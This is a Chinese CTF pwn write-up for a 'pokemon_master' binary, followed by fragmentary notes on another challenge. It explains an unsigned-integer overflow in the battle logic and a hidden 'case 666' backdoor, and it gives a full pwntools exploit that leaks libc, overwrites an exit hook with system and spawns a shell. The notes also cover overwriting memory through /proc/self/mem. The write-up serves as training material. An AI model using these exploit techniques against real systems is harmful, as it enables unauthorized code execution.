Pokemon_name(&ptr, "QWQ");

简单观察神兽只有这项属性 *((_DWORD )ptr + 6) = 15最低,ptr是我们堆刚开始的地方

这里Dword是4字节,所以也就是ptr+6*4=ptr+24

我们选精灵的时候,要选这个属性大于QWQ的,才有可能取得胜利。

也就是我们的Pikapi!

在FIght函数逻辑中,有以下片段,这里其实都是通过计算精灵的属性值,来实现蘸豆。我们不妨设想一下,它们中很有可能就包含精灵的攻击属性和防御属性。虽有大部分都是int类型,但是实际上是无符号类型在运算

<font style="color:rgb(77, 77, 77);">*(_QWORD *)</font> 允许你在不知道原始数据类型的情况下,以特定的方式(这里是64位无符号整数)解释和访问内存中的数据。

所以我们选取皮卡丘,在打败两次小怪之后,买防御剂,让自己的攻击溢出到负数,但是比较用的是Qword所以实际上还是unsigned int,此时速度比QWQ快,能够一击秒杀QWQ。这样会free掉特殊堆块,利用case666,然后申请两次申请回特殊堆块(因为第一次是QWQ的堆块。),之后改写ex1t的hook为system即可getshell。

free掉的两个堆块进入bin

0X3 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context(log_level="debug")
p=process("./pokemon_master")
#p=remote("43.248.97.213",30058)
def cmd(i):
p.sendlineafter(">>>",str(i))



#choose pikapi
cmd(1)

#recv libcaddr
p.recvuntil("gift:0x")
puts_addr=int(p.recv(12)[-12:].rjust(16,b'0'),16)
print("puts",hex(puts_addr))
libcbase=puts_addr-0x080e50
system=libcbase+0x050d70

#attack TAT
cmd(2)
cmd(2)
cmd(1)

#buy defense agents
cmd(1)
cmd(2)
cmd(1)
cmd(2)
cmd(3)
#gdb.attach(p)
#attack QWQ
cmd(2)
cmd(1)
cmd(1)

#one gadgte
one=[0x50a47+libcbase,0xebc81+libcbase,0xebc85+libcbase,0xebc88+libcbase]

#CMD 666 backdoor
cmd(666)
p.sendline(p64(system))
cmd(666)
p.sendline(p64(system))
print("libcbase",hex(libcbase))
#gdb.attach(p,"b *$rebase(0x137b)")
cmd(4)
p.sendline("/bin/sh\x00")

p.interactive()

temp

wahahabox

提示:/proc下的文件非常有用

/proc/self/当前存储进程信息的目录

environ

exe

fd

maps

映射信息

libc地址,elf地址,ld地址

libc上有用的东西

system binsh,one_gadget,mprotect, IO_File

/lib/x86_64-linux-gnu/libc.so.6

/proc/self/mem

就算是只读的rodata段上的数据也是可以的。

open、read和lseek才有可能完成内存改写的利用。

ida7.7 插件比较多, 逆向可能需要

ida8.3

ida9.0 比较新,支持很多新特性

类型转换的问题

int的数据转换成unsigned的数据,未经过处理的话,就会有问题。

-1 bigbigbig

0xffffffffff…..

Qword <-> size_t

Dword <-> unsigned